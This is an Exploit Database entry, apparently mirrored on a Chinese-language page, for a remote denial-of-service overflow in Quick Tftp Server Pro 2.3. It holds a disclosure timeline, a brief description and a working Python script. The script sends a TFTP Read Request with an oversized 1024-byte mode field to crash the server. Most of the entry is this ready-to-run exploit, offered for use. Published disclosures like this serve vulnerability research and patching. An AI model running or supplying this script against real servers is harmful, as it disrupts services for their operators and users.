Quick Tftp Server Pro 2.3 – Read Mode Denial of Service

• Exploit Database
• 120 阅读

• 作者： Guillaume Kaddouch
  日期： 2016-03-02
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/39516/
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  # Exploit Title: Quick Tftp Server Pro 2.3 TFTP mode Remote Overflow (DoS) # Date: 21/01/2016 # Exploit Author: Guillaume Kaddouch # Twitter: @gkweb76 # Blog: https://networkfilter.blogspot.com # GitHub: https://github.com/gkweb76/exploits # Vendor Homepage: http://www.tallsoft.com/tftpserver.htm # Software Link: http://www.tallsoft.com/tftpserver_setup.exe # Version: 2.3 # Tested on: Windows 7 Family x64 (FR) # Category: DoS   """ Disclosure Timeline: -------------------- 2016-01-21: Vulnerability discovered 2016-01-24: Vendor contacted 2016-01-29: Vendor contacted again (no answer) 2016-03-01: Vulnerability published Description : ------------- A remote overflow exists in Quick Tftp Server Pro 2.3 in the TFTP mode when sending a TFTP Read Request. This allows to remotely crash the application, thus causing a Denial of Service.   Instructions: ------------- - Starts Quick Tftp Server Pro 2.3 - Run this exploit locally or from your remote attacking machine """   import socket   host= "192.168.135.132" port= 69   request = "\x00\x01"# TFTP Read Request (RRQ) file= "file.txt" mode= '\x41' * 1024 # Overflow   buffer= request + file + "\x00" + mode + "\x00"   try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)   print "[*] Sending buffer to %s (%d bytes)..." % (host, len(buffer)) s.sendto(buffer, (host, port)) s.close() print "[*] Done." except: print "[-] Error connecting"